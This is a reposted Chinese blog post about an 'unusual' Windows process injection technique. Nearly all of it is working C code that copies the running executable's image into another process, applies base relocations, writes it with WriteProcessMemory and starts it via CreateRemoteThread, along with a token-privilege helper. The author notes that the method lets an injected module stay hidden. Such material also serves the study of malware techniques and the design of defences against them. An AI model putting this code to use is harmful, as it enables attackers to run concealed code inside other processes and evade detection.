另类的进程注入

最新推荐文章于 2025-08-14 13:49:13 发布

weixin_34211761

最新推荐文章于 2025-08-14 13:49:13 发布

阅读量127

点赞数

CC 4.0 BY-SA版权

文章标签： python

原文链接：https://my.oschina.net/sincoder/blog/113135

2019独角兽企业重金招聘Python工程师标准>>>

看雪上面看到来写了个测试代码测试了下可行的

限制就是你的代码里面使用的 API 远程也必须导入了而且导入的地址和本地是一样的

意义不是很大可以用在模块里面然后 dll 重定位自动达到隐藏模块的目的

#include <windows.h>

LPVOID CopyModule(HANDLE proc, LPVOID image)
{
	PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
	PIMAGE_DATA_DIRECTORY datadir;
	DWORD size = headers->OptionalHeader.SizeOfImage;
	LPVOID mem = NULL;
	LPBYTE buf = NULL;
	BOOL ok = FALSE;

	if (headers->Signature != IMAGE_NT_SIGNATURE)
		return NULL;

	if (IsBadReadPtr(image, size))
		return NULL;

	mem = VirtualAllocEx(proc, NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	if (mem != NULL) {
		buf = (LPBYTE)VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

		if (buf != NULL) {
			RtlCopyMemory(buf, image, size);

			datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

			if (datadir->Size > 0 && datadir->VirtualAddress > 0) {
				DWORD_PTR delta = (DWORD_PTR)((LPBYTE)mem - headers->OptionalHeader.ImageBase);
				DWORD_PTR olddelta = (DWORD_PTR)((LPBYTE)image - headers->OptionalHeader.ImageBase);
				PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(buf + datadir->VirtualAddress);

				while(reloc->VirtualAddress != 0) {
					if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
						DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
						LPWORD list = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
						DWORD i;

						for (i = 0; i < count; i++) {
							if (list[i] > 0) {
								DWORD_PTR *p = (DWORD_PTR *)(buf + (reloc->VirtualAddress + (0x0FFF & (list[i]))));

								*p -= olddelta;
								*p += delta;
							}
						}
					}

					reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
				}

				ok = WriteProcessMemory(proc, mem, buf, size, NULL);
			}

			VirtualFree(buf, 0, MEM_RELEASE); // release buf
		}

		if (!ok) {
			VirtualFreeEx(proc, mem, 0, MEM_RELEASE);
			mem = NULL;
		}
	}

	return mem;
}

BOOL NewInject(DWORD pid, LPTHREAD_START_ROUTINE start)
{
	HANDLE proc, thread;
	HMODULE module, newmodule;
	BOOL ok = FALSE;

	proc = OpenProcess(PROCESS_QUERY_INFORMATION |
		PROCESS_VM_OPERATION |
		PROCESS_VM_WRITE |
		PROCESS_VM_READ |
		PROCESS_CREATE_THREAD |
		PROCESS_DUP_HANDLE,
		FALSE, pid);

	if (proc != NULL) {
		module = GetModuleHandle(NULL);

		newmodule = (HMODULE)CopyModule(proc, module);

		if (newmodule != NULL) {
			LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)((LPBYTE)newmodule + (DWORD_PTR)((LPBYTE)start - (LPBYTE)module));

			thread = CreateRemoteThread(proc, NULL, 0, entry, NULL, 0, NULL);

			if (thread != NULL) {
				CloseHandle(thread);
				ok = TRUE;
			}
			else {
				VirtualFreeEx(proc, module, 0, MEM_RELEASE);
			}
		}

		CloseHandle(proc);
	}

	return ok;
}


BOOL privilege_config_by_name(WCHAR *PName,BOOL bEnable)
{
	BOOL              bResult = TRUE;
	HANDLE            hToken;
	TOKEN_PRIVILEGES  TokenPrivileges;

	if(OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&hToken) == 0)
	{
		bResult = FALSE;
	}
	TokenPrivileges.PrivilegeCount           = 1;
	TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
	LookupPrivilegeValueW(NULL,PName,&TokenPrivileges.Privileges[0].Luid);
	bResult = AdjustTokenPrivileges(hToken,FALSE,&TokenPrivileges,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
	if(!bResult)
	{
		bResult = FALSE;
	}
	CloseHandle(hToken);

	return bResult;
}

转载于:https://my.oschina.net/sincoder/blog/113135